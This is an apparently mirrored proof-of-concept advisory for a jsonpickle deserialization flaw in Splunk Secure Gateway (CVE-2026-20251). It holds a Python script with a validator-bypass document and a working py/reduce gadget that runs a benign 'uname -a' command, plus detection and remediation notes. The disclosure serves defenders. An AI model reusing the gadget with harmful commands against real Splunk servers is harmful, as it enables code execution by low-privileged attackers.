PoC Archive PoC Archive
High CVE-2026-20251 unpatched

Splunk Secure Gateway jsonpickle Deserialization RCE (CVE-2026-20251)

by Fady Oueslati (ReactiveZero Security Research) · 2026-07-05

CVSS 8.8/10
Severity
High
CVE
CVE-2026-20251
Category
web
Affected product
Splunk Secure Gateway (SSG) app on Splunk Enterprise
Affected versions
SSG 3.9.x < 3.9.20, 3.10.x < 3.10.6, 3.8.x < 3.8.67 (tested on SSG 3.9.19 / Splunk Enterprise 10.0.6)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherFady Oueslati (ReactiveZero Security Research)
CVE / AdvisoryCVE-2026-20251
Categoryweb
SeverityHigh
CVSS Score8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
Tagssplunk, deserialization, jsonpickle, rce, kv-store, python, validator-bypass, spacebridge
RelatedN/A

Affected Target

FieldValue
Software / SystemSplunk Secure Gateway (SSG) app on Splunk Enterprise
Versions AffectedSSG 3.9.x < 3.9.20, 3.10.x < 3.10.6, 3.8.x < 3.8.67 (tested on SSG 3.9.19 / Splunk Enterprise 10.0.6)
Language / PlatformPython (jsonpickle), Splunk app backend
Authentication RequiredYes (any low-privileged authenticated Splunk user)
Network Access RequiredYes

Summary

Splunk Secure Gateway lets mobile clients fetch alert data that is stored in the App Key Value Store and later reconstructed into Python objects using the jsonpickle library. A low-privileged authenticated user can write a crafted document to the mobile_alerts KV Store collection that, once read back by SSG, is deserialized via jsonpickle.decode(..., safe=True). The safe=True flag only blocks the legacy py/repr eval path and does nothing to stop py/reduce, py/object, py/type, py/function, or py/module tags from instantiating arbitrary classes and invoking arbitrary callables. A companion validator meant to catch dangerous tags returns as soon as it sees a permitted py/object key as the first key in the document, so a py/reduce gadget placed in a sibling field is never inspected. The included PoC demonstrates both halves of the chain — the validator bypass and the unsafe jsonpickle execution — using a benign uname -a payload rather than a weaponized one.


Vulnerability Details

Root Cause

check_alert_data_valid_json() in alert_helper.py short-circuits on the first py-prefixed key it encounters; a benign py/object lure as the first key causes it to return True without walking sibling keys, one of which can carry a py/reduce gadget that jsonpickle.decode(..., safe=True) will still execute since safe=True only guards the unrelated py/repr path.

Attack Vector

  1. Attacker authenticates to Splunk with any low-privileged account (no admin/power role needed).
  2. Attacker writes a crafted JSON document to the mobile_alerts KV Store collection via the Splunk REST API. The document’s first key is a permitted py/object lure (e.g. spacebridgeapp.data.alert_data.Alert); a sibling key holds a py/reduce gadget referencing a callable such as subprocess.check_output.
  3. When SSG later processes an alert fetch, alerts_request_processor.py reads the document and calls check_alert_data_valid_json(), which returns True after only inspecting the lure key.
  4. The document is passed to jsonpickle.decode(json.dumps(alert_json[0]), safe=True). jsonpickle instantiates the lure class, then iterates its stored attributes; on reaching the gadget value, _restore_reduce() executes stage1 = f(*args), invoking the attacker-chosen callable with attacker-chosen arguments.

Impact

Remote code execution as the Splunk service account, achievable by any authenticated low-privilege user with KV Store write access — no admin role or user interaction required.


Environment / Lab Setup

Target:   Splunk Enterprise 10.0.6 (macOS x86_64) with Splunk Secure Gateway 3.9.19
Attacker: Python 3, a low-privileged Splunk account, network access to the target's REST API (127.0.0.1:8089 in the researcher's lab)

Proof of Concept

PoC Script

See poc_cve_2026_20251.py in this folder.

1
python3 poc_cve_2026_20251.py -h 127.0.0.1

The script inlines the exact check_alert_data_valid_json() logic shipped in SSG 3.9.19 and proves, in two steps, that the bypass document passes validation and that jsonpickle.decode(..., safe=True) still executes a py/reduce gadget (benign subprocess.check_output(['uname', '-a'])). It does not attack a live Splunk instance directly; it demonstrates the two conditions that compose the full chain.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected child processes spawned by the Splunk service account around alert-fetch requests.
  • KV Store mobile_alerts documents containing py/reduce/py/function tags or attribute nesting inconsistent with the legitimate Alert schema.
  • SSG logs showing alert documents with nested py-prefixed keys beyond the expected lure object.

Remediation

ActionDetail
Primary fixUpgrade Splunk Secure Gateway to 3.9.20+ / 3.10.6+ / 3.8.67+, and Splunk Enterprise to 10.0.7+ / 10.2.4+ / 10.4.0+
Interim mitigationDisable the Splunk Secure Gateway app if unused; restrict KV Store write access via least-privilege roles and review mobile_alerts collection ACLs; avoid deserializing externally-influenced data with jsonpickle.decode() absent a classes= allow-list

References


Notes

Mirrored from https://github.com/reactivezero/CVE-2026-20251 on 2026-07-05.

poc_cve_2026_20251.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
#!/usr/bin/env python3
"""
CVE-2026-20251 — Splunk Secure Gateway jsonpickle deserialization
Proof-of-concept: validator bypass demonstration

Purpose  : Confirms, on a LOCAL authorised research instance, that
           check_alert_data_valid_json() can be bypassed and that
           jsonpickle will reconstruct an arbitrary Python object from
           the resulting document.  The payload is deliberately benign
           (subprocess.check_output(['uname', '-a'])) — it produces
           read-only system info and changes nothing.

NOT a weaponised exploit.  Do not run against production or
systems you do not own.

Tested on: Splunk Enterprise 10.0.6 / SSG 3.9.19 / macOS (Darwin)
"""

import sys
import json
import argparse

parser = argparse.ArgumentParser(description="CVE-2026-20251 PoC — local research only",
                                 add_help=False)
parser.add_argument("-h", dest="host", required=True, metavar="HOST",
                    help="Target Splunk host IP or hostname")
args = parser.parse_args()

# jsonpickle is loaded from SSG's bundled copy so we use the exact same
# library version that the vulnerable code path uses.
SSG_LIB = "/Applications/Splunk/etc/apps/splunk_secure_gateway/lib"
if SSG_LIB not in sys.path:
    sys.path.insert(0, SSG_LIB)

import jsonpickle

# ---------------------------------------------------------------------------
# Verbatim copy of check_alert_data_valid_json from SSG 3.9.19:
#   bin/spacebridgeapp/rest/devices/alert_helper.py  lines 509-535
#
# Inlined because the full SSG import chain requires the Splunk SDK
# (module 'splunk'), which is not on the standalone Python path.
# Inlining is more accurate for the PoC anyway — we are testing the
# exact shipped logic, character for character.
# ---------------------------------------------------------------------------
def check_alert_data_valid_json(data) -> bool:

    def should_check_valid_json(process_item):
        return isinstance(process_item, dict) and any(k.startswith('py') for k in process_item.keys())

    for key, value in data.items():
        if key.startswith("py"):
            if key == "py/id":
                # Accept 'py/id' as the reference of an object and its value should always be an integer.
                return value.isinstance(int)
            elif key == "py/object":
                # Check if 'py/object' value starts with 'spacebridgeapp'.
                return value.startswith("spacebridgeapp")
            else:
                return False
        elif isinstance(value, list):
            # Recursively check each item in the list can be possibly transformed to object
            for item in value:
                if should_check_valid_json(item):
                    if not check_alert_data_valid_json(item):
                        return False
        elif should_check_valid_json(value):
            # Recursively check if value can be possibly transformed to object
            if not check_alert_data_valid_json(value):
                return False

    return True


print("=" * 70)
print("CVE-2026-20251  PoC  —  local research instance only")
print("=" * 70)
print(f"[*] Target host : {args.host}")
print(f"[*] jsonpickle  : {jsonpickle.__version__}")
print(f"[*] Validator   : check_alert_data_valid_json (verbatim from SSG 3.9.19)")
print()

# ---------------------------------------------------------------------------
# Two-stage proof
#
# The full attack chain requires two conditions:
#   A) The validator must pass the document   (check_alert_data_valid_json)
#   B) jsonpickle must execute the gadget     (_restore_reduce → f(*args))
#
# In real Splunk, spacebridgeapp is importable so both fire from a single
# document.  In this standalone PoC, we prove each condition separately
# and then explain how they compose.
# ---------------------------------------------------------------------------

# ── Sub-proof A: validator bypass ─────────────────────────────────────────
#
# The bypass document:
#   {
#     "py/object": "spacebridgeapp.data.alert_data.Alert",   ← LURE
#     "notification": {                                       ← sibling, NEVER seen
#       "py/reduce": [ {"py/function": "subprocess.check_output"},
#                      {"py/tuple": [["uname", "-a"]]} ]
#     }
#   }
#
# check_alert_data_valid_json() iterates top-level keys.
# The first key it encounters is "py/object".  Value starts with
# "spacebridgeapp" → returns True immediately.  The "notification" key
# (carrying the py/reduce gadget) is never examined.

BYPASS_PAYLOAD = {
    "py/object": "spacebridgeapp.data.alert_data.Alert",   # lure — real class name
    "notification": {                                       # sibling — never validated
        "py/reduce": [
            {"py/function": "subprocess.check_output"},
            {"py/tuple": [["uname", "-a"]]}
        ]
    }
}

print("─" * 70)
print("SUB-PROOF A  —  Validator bypass")
print("─" * 70)
print("[*] Bypass document (what the attacker writes to mobile_alerts KV Store):")
print(json.dumps(BYPASS_PAYLOAD, indent=2))
print()
print("[*] Running through check_alert_data_valid_json() ...")
is_valid = check_alert_data_valid_json(BYPASS_PAYLOAD)
print(f"    Validator returned : {is_valid}")

if not is_valid:
    print("[!] Validator BLOCKED the payload — bypass failed.")
    sys.exit(1)

print()
print("    [BYPASS CONFIRMED]")
print("    Saw 'py/object': 'spacebridgeapp...' as the FIRST key → returned True.")
print("    The 'notification' sibling key carrying the py/reduce gadget")
print("    was never inspected.")
print()

# ── Sub-proof B: py/reduce gadget execution ───────────────────────────────
#
# In the real Splunk context, spacebridgeapp IS importable.  jsonpickle
# instantiates the lure class (Alert), then calls
# _restore_object_instance_variables() which iterates every attribute in
# the stored document and calls _restore() on each value.  When it hits
# the "notification" value ({"py/reduce": [...]}), _restore_tags()
# routes to _restore_reduce(), which executes:
#
#     stage1 = f(*args)       ← unpickler.py ~line 526
#
# Here we prove the same _restore_reduce path fires by stripping the lure
# wrapper and feeding the raw py/reduce document directly to
# jsonpickle.decode().  The code path inside jsonpickle is identical.
# safe=True is set exactly as in the real SSG sink.

GADGET_PAYLOAD = {
    "py/reduce": [
        {"py/function": "subprocess.check_output"},
        {"py/tuple": [["uname", "-a"]]}
    ]
}

print("─" * 70)
print("SUB-PROOF B  —  py/reduce gadget execution (benign: uname -a)")
print("─" * 70)
print("[*] Gadget document (the nested value jsonpickle sees after bypass):")
print(json.dumps(GADGET_PAYLOAD, indent=2))
print()
print("[*] Calling jsonpickle.decode(..., safe=True) — same call as SSG sink:")
print("    alerts_request_processor.py:622  →  jsonpickle.decode(json.dumps(alert_json[0]), safe=True)")
print()

try:
    result = jsonpickle.decode(json.dumps(GADGET_PAYLOAD), safe=True)
    if isinstance(result, bytes):
        decoded = result.decode().strip()
        print(f"    [EXEC] subprocess.check_output output: {decoded}")
        print()
        if any(kw in decoded for kw in ("Darwin", "Linux", "MINGW", "x86_64", "arm")):
            print("    [GADGET CONFIRMED]")
            print("    py/reduce fired through jsonpickle.decode(..., safe=True).")
            print("    safe=True did NOT block it — the flag only gates py/repr eval(),")
            print("    not py/reduce, py/object, py/type, or py/function.")
        else:
            print(f"    Result (unexpected format): {decoded}")
    else:
        print(f"    Unexpected result type: {type(result)}  value: {repr(result)}")
except Exception as e:
    print(f"    [!] Exception: {e}")

print()
print("=" * 70)
print("FULL CHAIN — how A and B compose in real Splunk")
print("=" * 70)
print("""
 Step 0  Low-privilege attacker writes BYPASS_PAYLOAD to KV Store collection
         'mobile_alerts' via the Splunk REST API (no admin role needed).

 Step 1  SSG processes an alert fetch request for that alert_id.
         alerts_request_processor.py:606-622 reads the document back from
         KV Store and calls check_alert_data_valid_json(alert_json[0]).

   → Sub-proof A confirmed: validator sees py/object = 'spacebridgeapp...'
     as the FIRST key, returns True, never reads the 'notification' sibling.

 Step 2  The validated document is passed to jsonpickle.decode(..., safe=True).
         jsonpickle's _restore_object() loadclass()es Alert (importable in
         Splunk), instantiates it, then calls _restore_object_instance_variables()
         which iterates every stored attribute and calls _restore() on each.
         When it hits 'notification': {py/reduce: [...]}, _restore_tags()
         routes to _restore_reduce() → stage1 = f(*args) fires.

   → Sub-proof B confirmed: py/reduce executes subprocess.check_output
     through jsonpickle.decode(..., safe=True).  safe=True is irrelevant
     to this code path.

 Outcome : Arbitrary code execution as the Splunk service account.
           Requires only a low-privilege Splunk login.
           No admin role, no user interaction, no additional conditions.

 Fix     : Upgrade SSG → 3.9.20 / 3.10.6 / 3.8.67
           Upgrade Splunk Enterprise → 10.0.7 / 10.2.4 / 10.4.0+
""")